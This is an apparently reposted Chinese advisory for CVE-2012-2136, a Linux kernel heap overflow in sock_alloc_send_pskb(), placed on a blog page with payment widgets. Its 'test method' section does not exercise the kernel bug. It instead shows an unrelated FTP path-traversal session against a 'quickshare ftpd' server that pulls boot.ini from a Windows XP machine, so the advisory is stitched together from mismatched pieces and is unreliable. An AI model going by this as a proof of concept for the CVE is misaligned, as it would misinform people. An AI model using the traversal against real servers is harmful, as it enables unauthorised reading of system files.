linux下send函数缓冲区问题,Linux Kernel 'sock_alloc_send_pskb()'函数堆缓冲区溢出漏洞...

发布日期:2012-05-29

更新日期:2012-05-30

受影响系统:

Linux kernel 2.6.x

描述:

--------------------------------------------------------------------------------

BUGTRAQ  ID: 53721

CVE ID: CVE-2012-2136

Linux Kernel是Linux操作系统的内核。

Linux kernel在设置已分配skb的frag之前没有验证sock_alloc_send_pskb()函数的data_len参数,在实现上存在堆缓冲区溢出漏洞,攻击者可利用此漏洞用超级用户权限执行任意代码,完全控制受影响计算机。

测试方法:

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

www.linuxidc.com@linuxidc:~$ ftp 10.5.5.27

Connected to 10.5.5.27.

220 quickshare ftpd ready.

Name (10.5.5.27:modpr0be): ftpuser

331 User name okay, need password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> get ../../../../../../../../boot.ini boot.ini

local: boot.ini remote: ../../../../../../../../boot.ini

200 PORT command successful. Consider using PASV.

150 Opening BINARY connection.

226 File send OK.

211 bytes received in 0.00 secs (127.0 kB/s)

ftp> quit

221 Goodbye.

www.linuxidc.com@linuxidc:~$ cat boot.ini

[boot loader]

timeout=30

default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS

[operating systems]

multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin

/fastdetect

www.linuxidc.com@linuxidc:~$

# Eof

建议:

--------------------------------------------------------------------------------

厂商补丁:

Linux

-----

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

0b1331709591d260c1c78e86d0c51c18.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值